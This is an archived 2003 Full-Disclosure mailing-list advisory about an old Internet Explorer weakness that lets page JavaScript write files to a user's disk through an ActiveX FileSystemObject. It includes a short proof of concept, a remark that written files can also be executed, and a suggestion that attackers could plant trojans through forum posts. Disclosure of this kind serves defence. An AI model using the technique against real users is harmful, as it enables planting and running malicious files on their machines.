[Full-Disclosure] Internet Explorer JavaScript insecure function

From: FREEBRAIN (freebrain_at_softhome.net)
Date: 12/07/03

  • Next message: Michal Zalewski: "Re: [Full-Disclosure] Partial Solution to SUID Problems" 
    To: full-disclosure@lists.netsys.com
Date: Sun, 7 Dec 2003 15:14:42 +0100

    * Internet Explorer JavaScript insecure function *

    Product: Microsoft Internet Explorer
    Version: 5.x (probabily other versions may be affected)

    ***

    Problem:

    I discovered a javascript function (interpreted by Internet Explorer) called "file.writeline()" may be
    potentially dangerous for Internet Explorer users. This function allows to write files by means of
    JavaScript on a hard disk.

    An attacker may use this function writting JavaScript code in posts of forums, guestbooks, etc for owning
    his victim's computers. With "file.writeline()" function the attacker can write trojans/virus/etc on his
    victim's hard disks, for example, an attacker may use JavaScript "file.writeline()" function for writting
    a malicious file in VBS (Visual Basic Scripting) language.

    I repeat, this may be potentially dangerous for Internet Explorer users.

    NOTE: Actually a virus in the wild that affects to mIRC users is using this function ("file.writeline").

    NOTE2: As you can see on the "Proof of concept", other functions are needed to carry out an "intrusion".

    ***

    Proof of concept:

    InterfaceObject=document.applets[0];
    setTimeout("Write()",1000);
    function Write() {
    fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
    InterfaceObject.setCLSID(fsoClassID);
    fso = InterfaceObject.createInstance();
    // windir = fso.getspecialfolder ;
    filename = "\\proof.txt";
    var filecontent = "Hello world";
    file = fso.opentextfile(filename, "2", "TRUE");
    file.writeline(filecontent)
    file.close();

    }

    This code writes a file called "proof.txt" in the hard disk, with the content "Hello world". Also you can
    execute files you write by means of JavaScript adding "Run();" to the function.

    ***

    Solution:

    I'm not sure about the solution but I recommend to upgrade to the last version of Internet Explorer.
    Also I recommend webmasters to forbid HTML codes that content this function in their forums, guestbooks, etc.

    ***

    Thanks to:

    #disidents,#hackers @ irc-phoenix.org

    #disidents,#sleepx,#ayuda_internet @ irc-hispano.org

    Special thanks go to: Impos

    (sorry my poor english)

    ***

    By FREEBRAIN

    FREEBRAIN is a member of DisidentS Hacker Team

    http://disidents-team.cjb.net (under construction) - http://www.gratisweb.com/disidents

    <freebrain@wanadoo.es>

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Michal Zalewski: "Re: [Full-Disclosure] Partial Solution to SUID Problems"

    Relevant Pages

    • Re: Internet Explorer JavaScript insecure function
      ... could u please post an html? ... F> I discovered a javascript function called ... F> potentially dangerous for Internet Explorer users. ... With "file.writeline" function the attacker can ...
      (Vuln-Dev)
    • Internet Explorer JavaScript insecure function
      ... Product: Microsoft Internet Explorer ... I discovered a javascript function called ... With "file.writeline" function the attacker can ... This code writes a file called "proof.txt" in the hard disk, ...
      (Vuln-Dev)
    • RE: Internet Explorer JavaScript insecure function
      ... Product: Microsoft Internet Explorer ... I discovered a javascript function called ... With "file.writeline" function the attacker can ... this may be potentially dangerous for Internet Explorer users. ...
      (Vuln-Dev)
    • Re: Generated javascript from .pl files
      ... I'm trying to use some javascript code in Internet Explorer 6.0 that's ... being generated by a Perl file. ... Wrong MIME type, despite what the type attribute would seem to imply. ...
      (comp.lang.javascript)
    • Re: Service Pack 2, file:///C:/index.htm Javascript blocked disabled
      ... 2004 Windows MVP "Winny" Award ... "Richard Martino" wrote in message ... > Exit out of Internet Explorer and restart it. ... run JavaScript on it all the time. ...
      (microsoft.public.windows.inetexplorer.ie6.browser)